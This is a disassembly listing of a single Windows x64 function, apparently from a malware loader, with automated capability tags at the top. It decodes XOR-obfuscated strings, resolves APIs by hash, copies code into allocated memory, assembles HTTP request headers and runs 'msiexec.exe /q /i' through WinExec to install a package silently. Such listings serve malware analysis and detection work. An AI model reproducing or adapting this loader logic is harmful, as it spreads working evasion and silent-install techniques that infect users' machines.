Function at 0x140003570
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x440]
sub rsp, 0x540
mov r13, rcx
xor r12d, r12d
mov rdi, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r9d, eax
lea r10, [rbp - 0x2b]
nop dword [rax]
dec r10
mov eax, 0xcccccccd
mul r9d
mov r8d, edx
shr r8d, 3
movzx ecx, r8b
shl cl, 2
lea edx, [rcx + r8]
add dl, dl
sub r9b, dl
add r9b, 0x30
mov byte [r10], r9b
mov r9d, r8d
test r8d, r8d
jne 0x1400035b0
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], r8b
lea rax, [rbp - 0x2b]
cmp r10, rax
je 0x140003612
lea r8, [rbp - 0x2b]
sub r8, r10
mov rdx, r10
lea rcx, [rbp - 0x20]
call fcn.140006060
nop
mov dword [rbp - 0x78], 0x68
mov byte [rbp - 0x74], 0x21
mov byte [rbp - 0x73], 6
mov byte [rbp - 0x72], 1
mov byte [rbp - 0x71], 0x1c
mov byte [rbp - 0x70], 0x29
mov byte [rbp - 0x6f], 0x18
mov byte [rbp - 0x6e], 0x18
mov byte [rbp - 0x6d], 0x46
xor eax, eax
mov byte [rbp - 0x6c], al
movzx eax, byte [rbp - 0x74]
mov rdx, r12
nop word [rax + rax]
movzx eax, byte [rbp + rdx - 0x74]
mov ecx, dword [rbp - 0x78]
xor cl, al
mov byte [rbp + rdx - 0x74], cl
inc rdx
cmp rdx, 8
jb 0x140003650
mov byte [rbp - 0x6c], 0
lea rax, [rbp - 0x74]
mov rbx, rdi
inc rbx
cmp byte [rax + rbx], 0
jne 0x140003672
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x14000371b
lea rax, [rbx + r8]
mov qword [rbp - 0x10], rax
lea rsi, [rbp - 0x20]
cmp rcx, 0x10
cmovae rsi, qword [rbp - 0x20]
lea rax, [rbp - 0x74]
add rax, rbx
cmp rax, rsi
jbe 0x1400036da
lea rax, [rsi + r8]
lea rcx, [rbp - 0x74]
cmp rcx, rax
ja 0x1400036da
lea rax, [rbp - 0x74]
cmp rsi, rax
ja 0x1400036ce
mov r14, r12
jmp 0x1400036dd
lea rax, [rbp - 0x74]
mov r14, rsi
sub r14, rax
jmp 0x1400036dd
mov r14, rbx
inc r8
lea rcx, [rsi + rbx]
mov rdx, rsi
call fcn.14000ce80
mov r8, r14
lea rdx, [rbp - 0x74]
mov rcx, rsi
call fcn.14000ce80
mov r8, rbx
sub r8, r14
lea rax, [r14 + rbx]
lea rdx, [rbp - 0x74]
add rdx, rax
lea rcx, [rsi + r14]
call fcn.14000ce80
lea rax, [rbp - 0x20]
jmp 0x140003735
mov qword [rsp + 0x28], rbx
lea rax, [rbp - 0x74]
mov qword [rsp + 0x20], rax
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.1400076f0
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000379a
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003795
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000461f
call fcn.14000b254
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
lea r8, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae r8, qword [rbp + 0x20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov rbx, rax
test rax, rax
jne 0x1400045b5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x1400045b5
mov dword [rsp + 0x58], 0x58
mov eax, dword [rsp + 0x58]
xor al, 0x47
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x58]
inc al
xor al, 0x6c
mov byte [rsp + 0x5d], al
mov eax, dword [rsp + 0x58]
add al, 2
xor al, 0x6f
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x58]
add al, 3
xor al, 0x62
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x58]
add al, 4
xor al, 0x61
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x58]
add al, 5
xor al, 0x6c
mov byte [rsp + 0x61], al
mov eax, dword [rsp + 0x58]
add al, 6
xor al, 0x5c
mov byte [rsp + 0x62], al
mov eax, dword [rsp + 0x58]
add al, 7
xor al, 0x49
mov byte [rsp + 0x63], al
mov eax, dword [rsp + 0x58]
add al, 8
xor al, 0x4e
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x58]
add al, 9
xor al, 0x44
mov byte [rsp + 0x65], al
mov eax, dword [rsp + 0x58]
add al, 0xa
xor al, 0x45
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x58]
add al, 0xb
xor al, 0x58
mov byte [rsp + 0x67], al
mov eax, dword [rsp + 0x58]
add al, 0xc
xor al, 0x48
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x58]
add al, 0xd
xor al, 0x54
mov byte [rsp + 0x69], al
mov eax, dword [rsp + 0x58]
add al, 0xe
xor al, 0x54
mov byte [rsp + 0x6a], al
mov eax, dword [rsp + 0x58]
add al, 0xf
xor al, 0x50
mov byte [rsp + 0x6b], al
mov eax, dword [rsp + 0x58]
add al, 0x10
xor al, 0x53
mov byte [rsp + 0x6c], al
xor eax, eax
mov byte [rsp + 0x6d], al
movzx eax, byte [rsp + 0x5c]
mov rdx, r12
nop dword [rax]
movzx eax, byte [rsp + rdx + 0x5c]
mov ecx, dword [rsp + 0x58]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x5c], cl
inc rdx
cmp rdx, 0x11
jb 0x1400038c0
mov byte [rsp + 0x6d], 0
lea r8, [rsp + 0x5c]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov rbx, rax
test rax, rax
jne 0x1400045b5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x1400045b5
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0xb0]
call fcn.14000d970
mov r8d, 0x104
lea rdx, [rbp + 0xb0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x40]
call fcn.140002f00
nop
cmp qword [rbp + 0x50], rbx
je 0x140004568
lea rsi, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rsi, qword [rbp + 0x40]
mov rdx, rsi
mov eax, dword [rsi + 0x488]
mov ecx, dword [rsi]
cmp ecx, eax
je 0x140003989
nop word [rax + rax]
add eax, 0xdeadbeef
xor eax, ecx
mov dword [rdx], eax
mov eax, ecx
lea rdx, [rdx + 4]
mov ecx, dword [rdx]
cmp ecx, dword [rsi + 0x488]
jne 0x140003970
mov dword [rsi + 0x488], r12d
lea rax, [rbp + 0xb0]
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0xb0]
mov rax, rdi
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400039b0
mov qword [rbp + 0x88], rax
call fcn.14000a0b8
movaps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x70], xmm0
lea r8, [rbp + 0x70]
mov edx, eax
lea rcx, [rbp + 0x90]
call fcn.140002170
nop
lea rdx, [rsi + 0x440]
mov qword [rbp], r12
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov r8, rdi
inc r8
cmp byte [rdx + r8], 0
jne 0x140003a02
lea rcx, [rbp]
call fcn.140006060
nop
mov r15, qword [rbp + 0x10]
test r15, r15
jne 0x1400041c5
mov qword [rbp + 0x498], 0x100000
mov qword [rbp + 0x490], 0x100000
mov edx, 0x8d598e8c
call fcn.140006900
mov ebx, eax
call fcn.140009e30
lea r8, [0x140044a60]
mov r14d, 0xffffffff
test eax, eax
je 0x140003a7f
mov ecx, r12d
mov edx, dword [0x140044a60]
test edx, edx
je 0x140003a7f
nop dword [rax + rax]
mov eax, ecx
cmp ebx, dword [r8 + rax*8 + 4]
je 0x140003a82
inc ecx
cmp ecx, edx
jb 0x140003a70
mov ecx, r14d
mov dword [rsp + 0x30], 4
mov dword [rsp + 0x28], 0x103000
lea rax, [rbp + 0x498]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [r13 + 0x38]
mov rdx, rdi
call fcn.14000a030
mov rbx, qword [r13 + 0x38]
test rbx, rbx
je 0x1400041bc
mov qword [rbx], rbx
mov dword [rsp + 0x70], 0x29
mov eax, dword [rsp + 0x70]
xor al, 0x47
mov byte [rsp + 0x74], al
mov eax, dword [rsp + 0x70]
inc al
xor al, 0x6c
mov byte [rsp + 0x75], al
mov eax, dword [rsp + 0x70]
add al, 2
xor al, 0x6f
mov byte [rsp + 0x76], al
mov eax, dword [rsp + 0x70]
add al, 3
xor al, 0x62
mov byte [rsp + 0x77], al
mov eax, dword [rsp + 0x70]
add al, 4
xor al, 0x61
mov byte [rsp + 0x78], al
mov eax, dword [rsp + 0x70]
add al, 5
xor al, 0x6c
mov byte [rsp + 0x79], al
mov eax, dword [rsp + 0x70]
add al, 6
xor al, 0x5c
mov byte [rsp + 0x7a], al
mov eax, dword [rsp + 0x70]
add al, 7
xor al, 0x49
mov byte [rsp + 0x7b], al
mov eax, dword [rsp + 0x70]
add al, 8
xor al, 0x4e
mov byte [rsp + 0x7c], al
mov eax, dword [rsp + 0x70]
add al, 9
xor al, 0x44
mov byte [rsp + 0x7d], al
mov eax, dword [rsp + 0x70]
add al, 0xa
xor al, 0x45
mov byte [rsp + 0x7e], al
mov eax, dword [rsp + 0x70]
add al, 0xb
xor al, 0x58
mov byte [rsp + 0x7f], al
mov eax, dword [rsp + 0x70]
add al, 0xc
xor al, 0x48
mov byte [rbp - 0x80], al
mov eax, dword [rsp + 0x70]
add al, 0xd
xor al, 0x54
mov byte [rbp - 0x7f], al
mov eax, dword [rsp + 0x70]
add al, 0xe
xor al, 0x54
mov byte [rbp - 0x7e], al
mov eax, dword [rsp + 0x70]
add al, 0xf
xor al, 0x50
mov byte [rbp - 0x7d], al
mov eax, dword [rsp + 0x70]
add al, 0x10
xor al, 0x53
mov byte [rbp - 0x7c], al
xor eax, eax
mov byte [rbp - 0x7b], al
movzx eax, byte [rsp + 0x74]
mov rdx, r12
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x74]
mov ecx, dword [rsp + 0x70]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x74], cl
inc rdx
cmp rdx, 0x11
jb 0x140003ba0
mov byte [rbp - 0x7b], 0
lea r9, [rsp + 0x74]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x130], rax
lea r9, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae r9, qword [rbp + 0x20]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x138], rax
mov qword [rbx + 0x150], 1
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbx + 0x20], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileTime]
mov qword [rbx + 0x50], rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rbx + 0x60], rax
mov rax, qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov qword [rbx + 0x58], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
mov qword [rbx + 0x28], rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx + 0x40], rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x48], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbx + 0x30], rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rbx + 0x38], rax
mov rax, qword [sym.imp.USER32.dll_GetDlgItem]
mov qword [rbx + 0x78], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov qword [rbx + 0x90], rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov qword [rbx + 0x98], rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbx + 0x80], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x88], rax
mov eax, dword [rsi + 0x480]
mov dword [rbx + 0x160], eax
mov eax, dword [rsi + 0x484]
mov dword [rbx + 0x15c], eax
lea rdx, [rsi + 0x400]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140003ce0
lea rcx, [rbx + 0x1a4]
call fcn.14000ce80
movups xmm0, xmmword [str.User_Agent]
movups xmmword [rbx + 0x264], xmm0
mov eax, dword [0x14003c498]
mov dword [rbx + 0x274], eax
movzx eax, word [0x14003c49c]
mov word [rbx + 0x278], ax
mov rax, rsi
mov r8, r12
cmp word [rsi], r12w
je 0x140003d3d
nop word [rax + rax]
inc r8
lea rax, [rax + 2]
cmp word [rax], 0
jne 0x140003d30
add r8, r8
lea rcx, [rbx + 0x364]
mov rdx, rsi
call fcn.14000ce80
movabs rax, 0x5400450047
mov qword [rbx + 0x464], rax
lea rax, [rsi + 0x100]
mov r8, r12
cmp word [rsi + 0x100], r12w
je 0x140003d8d
nop dword [rax]
nop dword [rax + rax]
inc r8
lea rax, [rax + 2]
cmp word [rax], 0
jne 0x140003d80
add r8, r8
lea rcx, [rbx + 0x564]
lea rdx, [rsi + 0x100]
call fcn.14000ce80
movups xmm0, xmmword [str.HTTP___1.1]
movups xmmword [rbx + 0x664], xmm0
mov eax, dword [0x14003c4b0]
mov dword [rbx + 0x674], eax
movzx eax, word [0x14003c4b4]
mov word [rbx + 0x678], ax
lea r8, [rsi + 0x200]
lea rcx, [rbx + 0x764]
lea rdx, str.Host:__s
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x330]
call fcn.14000d970
lea rdx, [rbp + 0xb0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, [rbp + 0x330]
xor r8d, r8d
lea rdx, [0x14003c4cc]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea rcx, [rbx + 0x1e4]
lea r8, [rbp + 0x330]
mov edx, 0x80
call fcn.140001160
lea rdx, [rsi + 0x300]
mov rax, rdx
mov r8, r12
cmp word [rdx], r12w
je 0x140003e6d
nop word [rax + rax]
inc r8
lea rax, [rax + 2]
cmp word [rax], 0
jne 0x140003e60
add r8, r8
lea rcx, [rbx + 0x864]
call fcn.14000ce80
lea rcx, [rbx + 0x964]
lea r8, [rsi + 0x100]
lea rdx, [0x14003c4d0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [rbp - 0x68], 0x63
mov byte [rbp - 0x64], 0
mov byte [rbp - 0x63], 0x59
mov byte [rbp - 0x62], 0x3f
mov byte [rbp - 0x61], 0x14
mov byte [rbp - 0x60], 0xa
mov byte [rbp - 0x5f], 0xd
mov byte [rbp - 0x5e], 7
mov byte [rbp - 0x5d], 0xc
mov byte [rbp - 0x5c], 0x14
mov byte [rbp - 0x5b], 0x10
mov byte [rbp - 0x5a], 0x3f
mov byte [rbp - 0x59], 0x10
mov byte [rbp - 0x58], 0x1a
mov byte [rbp - 0x57], 0x10
mov byte [rbp - 0x56], 0x17
mov byte [rbp - 0x55], 6
mov byte [rbp - 0x54], 0xe
mov byte [rbp - 0x53], 0x50
mov byte [rbp - 0x52], 0x51
mov byte [rbp - 0x51], 0x3f
mov byte [rbp - 0x50], 0x34
mov byte [rbp - 0x4f], 6
mov byte [rbp - 0x4e], 0x11
mov byte [rbp - 0x4d], 0x25
mov byte [rbp - 0x4c], 2
mov byte [rbp - 0x4b], 0x16
mov byte [rbp - 0x4a], 0xf
mov byte [rbp - 0x49], 0x17
mov byte [rbp - 0x48], 0x4d
mov byte [rbp - 0x47], 6
mov byte [rbp - 0x46], 0x1b
mov byte [rbp - 0x45], 6
xor eax, eax
mov byte [rbp - 0x44], al
movzx eax, byte [rbp - 0x64]
mov r8, r12
nop word [rax + rax]
movzx eax, byte [rbp + r8 - 0x64]
mov ecx, dword [rbp - 0x68]
xor cl, al
mov byte [rbp + r8 - 0x64], cl
inc r8
cmp r8, 0x20
jb 0x140003f30
mov byte [rbp - 0x44], 0
lea rcx, [rbx + 0x164]
lea r8, [rbp - 0x64]
mov edx, 0x80
call fcn.140001160
xorps xmm0, xmm0
xor eax, eax
mov qword [rbp - 0x30], rax
movups xmmword [rbx + 0x110], xmm0
movsd xmm0, qword [rbp - 0x30]
movsd qword [rbx + 0x120], xmm0
xorps xmm1, xmm1
mov qword [rbp + 0x220], rax
movups xmmword [rbx + 0xa8], xmm1
movups xmmword [rbx + 0xb8], xmm1
movups xmmword [rbx + 0xc8], xmm1
movups xmmword [rbx + 0xd8], xmm1
movups xmmword [rbx + 0xe8], xmm1
movups xmmword [rbx + 0xf8], xmm1
movsd xmm0, qword [rbp + 0x220]
movsd qword [rbx + 0x108], xmm0
mov dword [rbx + 0xa8], 0x68
mov dword [rbx + 0xe4], 1
mov word [rbx + 0xe8], r12w
mov r8, qword [rbx]
lea r13, [fcn.140007890]
mov rcx, r8
sub rcx, r13
lea rax, [0x140008ba0]
add rax, 0x1100
add rax, rcx
mov qword [rbx + 0x68], rax
lea rax, [0x140007930]
add rax, 0x1100
add rcx, rax
mov qword [rbx + 0x70], rcx
lea rax, [fcn.14000a030]
movups xmm0, xmmword [rax]
movups xmmword [r8 + 0x1000], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [r8 + 0x1010], xmm1
mov rax, qword [rbx]
add rax, 0x1000
mov qword [rbx + 0xa0], rax
mov edx, 0x8d598e8c
call fcn.140006900
mov esi, eax
call fcn.140009e30
test eax, eax
je 0x140004081
mov ecx, r12d
mov edx, dword [0x140044a60]
test edx, edx
je 0x140004081
lea r15, [0x140044a60]
nop
mov eax, ecx
cmp esi, dword [r15 + rax*8 + 4]
je 0x14000408b
inc ecx
cmp ecx, edx
jb 0x140004070
jmp 0x140004088
lea r15, [0x140044a60]
mov ecx, r14d
mov dword [rbx + 0x140], ecx
mov edx, 0xabd7e34
call fcn.1400065e0
mov esi, eax
call fcn.140009e30
test eax, eax
je 0x1400040c2
mov ecx, r12d
mov edx, dword [0x140044a60]
test edx, edx
je 0x1400040c2
mov eax, ecx
cmp esi, dword [r15 + rax*8 + 4]
je 0x1400040c5
inc ecx
cmp ecx, edx
jb 0x1400040b3
mov ecx, r14d
mov dword [rbx + 0x144], ecx
call fcn.140009e30
test eax, eax
je 0x1400040f4
mov ecx, r12d
mov edx, dword [0x140044a60]
test edx, edx
je 0x1400040f4
mov eax, ecx
cmp dword [r15 + rax*8 + 4], 0x8d38ec9
je 0x1400040f7
inc ecx
cmp ecx, edx
jb 0x1400040e1
mov ecx, r14d
mov dword [rbx + 0x148], ecx
call fcn.140009e30
test eax, eax
je 0x140004126
mov ecx, r12d
mov edx, dword [0x140044a60]
test edx, edx
je 0x140004126
mov eax, ecx
cmp dword [r15 + rax*8 + 4], 0x7cdd467b
je 0x140004129
inc ecx
cmp ecx, edx
jb 0x140004113
mov ecx, r14d
mov dword [rbx + 0x14c], ecx
mov rcx, qword [rbx]
add rcx, 0x1100
mov r8d, 0x3000
mov rdx, r13
call fcn.14000ce80
mov rax, qword [rbx]
add rax, 0x1000
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x60], 0x4000
mov edx, 0xd3ab6175
call fcn.140006820
mov ebx, eax
call fcn.140009e30
test eax, eax
je 0x140004194
mov ecx, r12d
mov edx, dword [0x140044a60]
test edx, edx
je 0x140004194
nop
mov eax, ecx
cmp ebx, dword [r15 + rax*8 + 4]
je 0x140004191
inc ecx
cmp ecx, edx
jb 0x140004180
jmp 0x140004194
mov r14d, ecx
lea rax, [rbp + 0x488]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x20
lea r9, [rbp + 0x60]
lea r8, [rbp + 0x68]
mov rdx, rdi
mov ecx, r14d
call fcn.14000a030
mov r14, qword [rbp + 0x18]
jmp 0x1400044d1
lea rbx, [rbp]
mov r14, qword [rbp + 0x18]
cmp r14, 0x10
cmovae rbx, qword [rbp]
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x230]
call fcn.14000d970
lea rcx, str..msi
lea rdx, [0x14003c4e8]
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [rbp + rax + 0x230], 1
inc rcx
cmp rcx, rdx
jne 0x140004200
lea rax, [r15 - 1]
mov rcx, rdi
cmp rax, rdi
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x230], 0
jne 0x14000424a
cmp rcx, rbx
je 0x14000440b
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x230], 0
je 0x140004231
sub rcx, rbx
lea rax, [r15 - 4]
cmp rcx, rax
jne 0x1400044d1
mov dword [rsp + 0x40], 0x18
mov eax, dword [rsp + 0x40]
xor al, 0x6d
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x40]
inc al
xor al, 0x73
mov byte [rsp + 0x45], al
mov eax, dword [rsp + 0x40]
add al, 2
xor al, 0x69
mov byte [rsp + 0x46], al
mov eax, dword [rsp + 0x40]
add al, 3
xor al, 0x65
mov byte [rsp + 0x47], al
mov eax, dword [rsp + 0x40]
add al, 4
xor al, 0x78
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x40]
add al, 5
xor al, 0x65
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x40]
add al, 6
xor al, 0x63
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x40]
add al, 7
xor al, 0x2e
mov byte [rsp + 0x4b], al
mov eax, dword [rsp + 0x40]
add al, 8
xor al, 0x65
mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x40]
add al, 9
xor al, 0x78
mov byte [rsp + 0x4d], al
mov eax, dword [rsp + 0x40]
add al, 0xa
xor al, 0x65
mov byte [rsp + 0x4e], al
mov eax, dword [rsp + 0x40]
add al, 0xb
xor al, 0x20
mov byte [rsp + 0x4f], al
mov eax, dword [rsp + 0x40]
add al, 0xc
xor al, 0x2f
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x40]
add al, 0xd
xor al, 0x71
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x40]
add al, 0xe
xor al, 0x20
mov byte [rsp + 0x52], al
mov eax, dword [rsp + 0x40]
add al, 0xf
xor al, 0x2f
mov byte [rsp + 0x53], al
mov eax, dword [rsp + 0x40]
add al, 0x10
xor al, 0x69
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x40]
add al, 0x11
xor al, 0x20
mov byte [rsp + 0x55], al
xor eax, eax
mov byte [rsp + 0x56], al
movzx eax, byte [rsp + 0x44]
mov rdx, r12
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x44]
mov ecx, dword [rsp + 0x40]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x44], cl
inc rdx
cmp rdx, 0x12
jb 0x140004350
mov byte [rsp + 0x56], 0
lea rax, [rsp + 0x44]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140004374
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r12, qword [rbp + 0x10]
sub rax, r12
cmp rax, rdi
jb 0x140004625
lea r13, [rbp]
mov r14, qword [rbp + 0x18]
cmp r14, 0x10
cmovae r13, qword [rbp]
xor edx, edx
mov qword [rbp - 0x40], rdx
mov qword [rbp - 0x30], rdx
mov qword [rbp - 0x28], rdx
lea r15, [rdi + r12]
mov ebx, 0xf
lea rsi, [rbp - 0x40]
cmp r15, rbx
jbe 0x140004451
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x140004413
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000b25c
test rax, rax
je 0x14000462b
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000444d
mov rcx, rdi
jmp 0x14000424d
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000443b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140004619
jmp 0x1400043ec
test rcx, rcx
je 0x14000444a
call fcn.14000b25c
mov rsi, rax
jmp 0x14000444d
mov rsi, rdx
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], rbx
mov r8, rdi
lea rdx, [rsp + 0x44]
mov rcx, rsi
call fcn.14000ce80
lea rcx, [rsi + rdi]
mov r8, r12
mov rdx, r13
call fcn.14000ce80
mov byte [rsi + r15], 0
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rcx, qword [rbp - 0x40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x1400044ce
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000462b
call fcn.14000b254
xor r12d, r12d
cmp r14, 0x10
jb 0x14000450a
lea rdx, [r14 + 1]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004504
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004631
call fcn.14000b254
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 8
jb 0x140004550
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000454b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004637
call fcn.14000b254
movdqa xmm0, xmmword [0x14003c5f0]
movdqu xmmword [rbp + 0xa0], xmm0
mov word [rbp + 0x90], r12w
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x1400045a3
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000459e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000463d
call fcn.14000b254
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
jmp 0x1400045bf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x1400045f6
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400045f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004613
call fcn.14000b254
xor eax, eax
mov rbx, qword [rsp + 0x580]
add rsp, 0x540
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140014020
nop
call fcn.1400012c0
nop
call fcn.140014020
nop
call fcn.140001360
int3
call fcn.140014020
nop
call fcn.140014020
nop
call fcn.140014020
nop
call fcn.140014020
int3